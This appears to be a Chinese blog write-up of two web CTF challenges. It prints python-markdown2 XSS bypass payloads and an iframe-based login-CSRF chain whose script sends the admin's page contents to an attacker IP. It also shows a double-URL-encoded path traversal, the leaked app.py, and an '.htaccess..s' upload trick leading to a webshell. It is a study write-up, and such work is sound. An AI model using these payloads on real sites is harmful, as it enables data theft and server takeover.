前几周的,高质量比赛,题目有点思路但做不出来,有空了复现一波
题目给了源码,根据server.py发现flag放在管理员的notebook中,然后还发现一行代码给了挺关键的提示
这道题思路很好,xss,然后站内又有一个表单可以填,那么应该是存在有绕过python-markdown2进行xss的payload作者才敢这么出题。
马后炮表示google一搜就有了。。
https://github.com/trentm/python-markdown2/issues/341
有两个payload:
<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>
<ftp:[<script>alert(1);//]()><ftp:[</script>]()>
那么接下来要让管理员看到这个xss,结合发链接给管理员访问,并且根据代码:
@app.route("/login", methods = ["GET", "POST"])
def login():
if current_user.is_authenticated:
return redirect("/profile")
if request.args.get("username"):
# register user
id = request.args.get('username')
password = request.args.get('password')
user = User.query.filter_by(id = id).first()
if user and user.check_password(password = password):
login_user(user)
return redirect("/profile")
flash('Incorrect creds')
return redirect("/login")
return render_template("login.html")
可以看到,这里用的是get方式获取username和password,而且一旦登录就会跳转到profile,即存在我们xss的页面,因此下面思路很明了,就是让管理员访问如下页面:
http://xxxx/?username=hhhm&password=a123456
,
但是光访问这个页面不够,因为管理员账户需要先退出,但管理员账户退出了就无法获取到他的flag了,那么我们可以通过在管理员访问页面添加两个iframe,第一个iframe加载时会先把flag也加载出来,第二个iframe则是存在xss的页面,xss将管理员的iframe抓下来发到服务器上。
写在markdown上的xss:
<http://g<!s://q?<!-<[<script>location.href='http://<ip>/?q='+btoa(top.adminframe.document.body.innerHTML);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>hoge;/*](http://g)->a>
写在目标页面的内容
<html>
<head>
<script>
function sleep(waitMsec){
var startMsec = new Date();
while (new Date() - startMsec < waitMsec);
}
window.addEventListener('load', function() {
var adminframe = document.createElement("iframe");
adminframe.name = "adminframe";
adminframe.src = "http://xxx/profile";
var body = document.querySelector("body");
body.appendChild(adminframe);
sleep(3000);
var logoutframe = document.createElement("iframe");
logoutframe.src = "http://xxx/logout";
body.appendChild(logoutframe);
sleep(3000);
var loginframe = document.createElement("iframe");
loginframe.src = "http://xxx/login?username=hhhm&password=a123456";
body.appendChild(loginframe);
}, false);
</script>
</head>
</html>
之后nc监听地址,发送目标地址过去就能收到base64的html码,解码即可getflag。
图片上传,fuzz一下发现只允许上传图片,但内容没做限制,看回显发现是nginx服务器,上传图片后发现路径被加密了 ,往上回溯一层发现显示如下:
并且,在burpsuite中尝试修改文件名或者是文件内容,都会发现这上层路径不会变化,猜测上一层为ip进行md5,接下来尝试访问图片上级路径会发现报了个500的错误,这里直接截取Y1ng师傅博客中的原话:
在测试这个上传的文件的路径时候,我无意中发现了一个很奇怪的现象,不返回403不返回404反而是500
这说明,这个路径肯定不是直接去访问的,一定是经过gunicore后端解析的,他大概的代码应该是
/uploads/:path
这样的https://www.gem-love.com/ctf/2254.html
这里在上传文件的路径构成是这样的:
/uploads/md5(ip)/filename
因此源代码构成可能使用os.path.join进行拼接路径,那么这里也许可以直接使用../读到任意文件。但尝试发现不可,这里的绕过需要进行二次url编码。
/uploads/%25%32%65%25%32%65%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%37%30%25%37%39
读app.py源码:
from flask import Flask, render_template, request, flash, redirect, send_file
from urllib.parse import urlparse
import re
import os
from hashlib import md5
import asyncio
import requests
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
# app.config['UPLOAD_FOLDER'] = "/uploads"
app.config['MAX_CONTENT_LENGTH'] = 1*1024*1024
app.secret_key = b'_5#y2L"F4Q8z\n\xec]/'
ALLOWED_EXTENSIONS = {'png', 'jpg', 's'}
if not os.path.exists(app.config['UPLOAD_FOLDER']):
os.mkdir(app.config['UPLOAD_FOLDER'])
def secure_filename(filename):
return re.sub(r"(\.\.|/)", "", filename)
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route("/")
def index():
return render_template("home.html")
@app.route("/upload", methods=["POST"])
def upload():
caption = request.form["caption"]
file = request.files["image"]
if file.filename == '':
flash('No selected file')
return redirect("/")
elif not allowed_file(file.filename):
flash('Please upload images only.')
return redirect("/")
else:
if not request.headers.get("X-Real-IP"):
ip = request.remote_addr
else:
ip = request.headers.get("X-Real-IP")
dirname = md5(ip.encode()).hexdigest()
filename = secure_filename(file.filename)
upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
if not os.path.exists(upload_directory):
os.mkdir(upload_directory)
upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
file.save(upload_path)
return render_template("uploaded.html", path = os.path.join(dirname, filename))
@app.route("/view/<path:path>")
def view(path):
return render_template("view.html", path = path)
@app.route("/uploads/<path:path>")
def uploads(path):
# TODO(noob):
# zevtnax told me use apache for static files. I've
# already configured it to serve /uploads_apache but it
# still needs testing. I'm a security noob anyways.
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
if __name__ == "__main__":
app.run(port=5000)
最后一个uploads函数使用send_file函数将我们的文件发至处理静态文件的apache服务器配置的目录下,尝试将我们图片路径的/upload替换为/uploads_apache后访问发现成功。
既然是apache,那就可以上传htaccses来绕过,注意到上传文件会先经过allowed_file,再经过secure_filename。
也就是说扩展名只能在{'png', 'jpg', 's'}三选一,这里给了个s,提供了绕过的条件。
看看allowed_file,会分割文件的最后一个.然后去文件后缀,因此我们文件后缀必须为.s
再看看secure_filename,会把..或者/替换为空,也就是说我们的文件可以改为.htacces..s
本地测试一下:
测试成功,尝试上传:
可以看到成功上传了,接下来上传个图片马就行啦。
本文原创于HhhM的博客,转载请标明出处。
_ _ _ _ ___ ___ | | | | | | | | \/ | | |_| | |__ | |__ | . . | | _ | '_ \| '_ \| |\/| | | | | | | | | | | | | | | \_| |_/_| |_|_| |_\_| |_/